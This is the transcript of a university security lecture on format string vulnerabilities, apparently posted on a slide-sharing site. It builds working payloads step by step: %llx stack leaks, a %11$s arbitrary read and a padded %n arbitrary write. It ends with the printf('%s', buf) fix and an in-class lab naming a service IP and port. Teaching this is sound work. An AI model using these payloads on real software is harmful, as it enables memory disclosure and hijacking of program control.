Format String Vulnerabilities in CSE 545
Dive into the world of format string vulnerabilities with CSE 545 and explore how printf statements can be exploited to leak sensitive information and control program flow. Learn about the dangers of improper format string usage and how to prevent such vulnerabilities in your code.
Download Presentation
Please find below an Image/Link to download the presentation.
The content on the website is provided AS IS for your information and personal use only. It may not be sold, licensed, or shared on other websites without obtaining consent from the author. If you encounter any issues during the download, it is possible that the publisher has removed the file from their server.
You are allowed to download the files provided on this website for personal or commercial use, subject to the condition that they are used lawfully. All files are the property of their respective owners.
The content on the website is provided AS IS for your information and personal use only. It may not be sold, licensed, or shared on other websites without obtaining consent from the author.
E N D
Presentation Transcript
CSE 545 Format String Vulnerabilities Tiffany Bao tbao@asu.edu
Format String Vulnerabilities 1
printf(%d %d %d %d %d %d %d %d\n, 1, 2, 3, 4, 5, 6, 7, 8); Output: 1 2 3 4 5 6 7 8 2
printf(%d %d %d %d %d %d %d %d\n, 1, 2, 3, 4, 5, 6, 7, 8); 1. 2. 3. 4. 5. 6. 7. 8. 9. rdi: & %d %d %d %d %d %d %d %d\n rsi: 1 rdx: 2 rcx: 3 r8: 4 r9: 5 on the stack (6) on the stack (7) on the stack (8) 3
printf(%d %d %d %d %d %d %d %d\n, 1, 2, 3, 4, 5, 6, 7, 8); 1. 2. 3. 4. 5. 6. 7. 8. 9. rdi: & %d %d %d %d %d %d %d %d\n rsi: 1 rdx: 2 rcx: 3 r8: 4 r9: 5 on the stack (6) on the stack (7) on the stack (8) 4
printf(%d %d %d %d %d %d %d %d\n, 1, 2, 3, 4, 5, 6, 7, 8); 1. 2. 3. 4. 5. 6. 7. 8. 9. rdi: & %d %d %d %d %d %d %d %d\n rsi: 1 rdx: 2 rcx: 3 r8: 4 r9: 5 on the stack (6) on the stack (7) on the stack (8) It still print the arguments 5
printf(%d %d %d %d %d %d %d %d\n, 1, 2, 3, 4, 5, 6, 7, 8); Control this 1. rdi: & %d %d %d %d %d %d %d %d\n 2. rsi: 1 3. rdx: 2 4. rcx: 3 5. r8: 4 6. r9: 5 7. on the stack (6) 8. on the stack (7) 9. on the stack (8) Leak registers and stack 6
rsp -> %llx %llx char buf[] = %llx %llx %llx %llx %llx %llx %llx %llx\n ; printf(buf); rbp -> %llx %llx %llx %llx %llx %llx %llx %llx\n ; saved rbp saved rip (return address) rbp + 8 -> 7
rsp -> 0x555555554708 %llx %llx char buf[] = %llx %llx %llx %llx %llx %llx %llx %llx\n ; printf(buf); rbp -> %llx %llx %llx %llx %llx %s %llx %llx\n ; saved rbp saved rip (return address) rbp + 8 -> 8
rsp -> 0x555555554708 %llx %llx char buf[] = little_end (0x555555554708) + %llx %llx %llx %llx %llx %llx %llx %llx\n ; printf(buf); rbp -> saved rbp saved rip (return address) rbp + 8 -> %llx %llx %llx %llx %llx %s %llx %llx\n ; 9
rsp -> 0x555555554708 %llx %llx GOT entry, Stack canary, char buf[] = little_end (0x555555554708) + %llx %llx %llx %llx %llx %llx %llx %llx\n ; printf(buf); rbp -> saved rbp saved rip (return address) rbp + 8 -> %llx %llx %llx %llx %llx %s %llx %llx\n ; 10
rsp -> \x08\x47\x55\x55 \x55\x55\x00\x00 %llx %llx GOT entry, Stack canary, char buf[] = little_end (0x555555554708) + %llx %llx %llx %llx %llx %llx %llx %llx\n ; printf(buf); rbp -> saved rbp saved rip (return address) rbp + 8 -> %llx %llx %llx %llx %llx %s %llx %llx\n ; 11
rsp -> %llx%llx %llx%llx %llx%llx %llx%$11 sAAAAAAA \x08\x47\x55\x55 \x55\x55\x00\x00 GOT entry, Stack canary, char buf[] = %llx%llx%llx%llx%llx%llx %llx%$11s\n + little_end (0x555555554708); printf(buf); rbp -> rbp + 8 -> saved rbp saved rip (return address) %llx %llx %llx %llx %llx %s %llx %llx\n ; 13
Arbitrary Read ? Arbitrary Write 14
int n; printf( hello%n\n , &n); printf( n = %d\n , n); Output? 15
int n; printf( hello%n\n , &n); printf( n = %d\n , n); Write the number of printed bytes into variable n. 16
int n; printf( hello%n\n , &n); control this printf( n = %d\n , n); Write the number of printed bytes into variable n. 17
char buf[] = hello%n\n; printf(buf); rsp -> hello%n\n rbp -> saved rbp saved rip (return address) rbp + 8 -> 18
char buf[] = hello%n\n; printf(buf); rsp -> hello%n\n write 5 to *rsi rbp -> saved rbp saved rip (return address) rbp + 8 -> 19
char buf[] = hello%n%n%n%n%n%n \n ; printf(buf); rsp -> hello%n\n write 5 to *rsi, *rdx, *rcx, *r8, *r9 values on stack rbp -> saved rbp saved rip (return address) rbp + 8 -> 20
char buf[] = little_end(0x555555554708) + hello%n%n%n%n%n%n \n ; printf(buf); rsp -> 0x555555554708 hello%n\n write 5 to *rsi, *rdx, *rcx, *r8, *r9 values on stack rbp -> saved rbp saved rip (return address) rbp + 8 -> 21
char buf[] = little_end(0x555555554708) + hello%x%x%x%x%x%n \n ; printf(buf); print rsi, rdx, rcx, r8, r9 values on stack 22
Goal: [0x555555554708] = 1000 char buf[] = little_end(0x555555554708) + hello%x%x%x%x%x%n\n ; printf(buf); #printed bytes before writing to 0x555555554708 : 8 + 5 + len(rsi) + len(rdx) + len(rcx) + len(r8) + len(r9) How to make the number equal to 1000? 23
%[position$][flag][min width][.precision][length modifier][conversion specifier] long x = 10; printf( %010ld , x); Print x as a long int with the minimum length of 10 bytes, padding with 0. Output: 0000000010 24
Goal: [0x555555554708] = 1000 char buf[] = little_end(0x555555554708) + %0200x%0200x%0200x%0200x%0200x%n\n ; printf(buf); #printed bytes before writing to 0x555555554708 : 8 + 5 + len(rsi) + len(rdx) + len(rcx) + len(r8) + len(r9) 25
Goal: [0x555555554708] = 1000 char buf[] = little_end(0x555555554708) + %0200x%0200x%0200x%0200x%0200x%n\n ; printf(buf); little_end(0x555555554708) = \x08\x47\x55\x55\x55\x55\x00\x00 will break the format string 26
rsp -> Goal: [0x555555554708] = 1000 char buf[] = %0200x%0200x%0200x%0200x%0200x%n\n + little_end(0x555555554708); %0200x%0200x%0200 x%0200x%0200x%n\n \x08\x47\x55\x55\ x55\x55\x00\x00 rbp -> saved rbp saved rip (return address) rbp + 8 -> printf(buf); 27
rsp -> Goal: [0x555555554708] = 1000 char buf[] = %0200x%0200x%0200x%0200x%0200x%11$n\n + padd + little_end(0x555555554708); %0200x%0 200x%020 0x%0200x %0200x%1 1$n\npadd \x08\x47\x55\x55\ x55\x55\x00\x00 rbp -> rbp + 8 -> printf(buf); saved rbp saved rip (return address) 28
Make sure that the user cannot provide format string printf(buf); -> printf( %s , buf); 29
in-class Lab 30
Service IP: 107.21.135.41 Port: 7777 Service file: https://cse545.tiffanybao.com/labs/week7/format_string.c https://cse545.tiffanybao.com/labs/week7/format_string
![textbook$ What Your Heart Needs for the Hard Days 52 Encouraging Truths to Hold On To [R.A.R]](/thumb/9838/textbook-what-your-heart-needs-for-the-hard-days-52-encouraging-truths-to-hold-on-to-r-a-r.jpg)
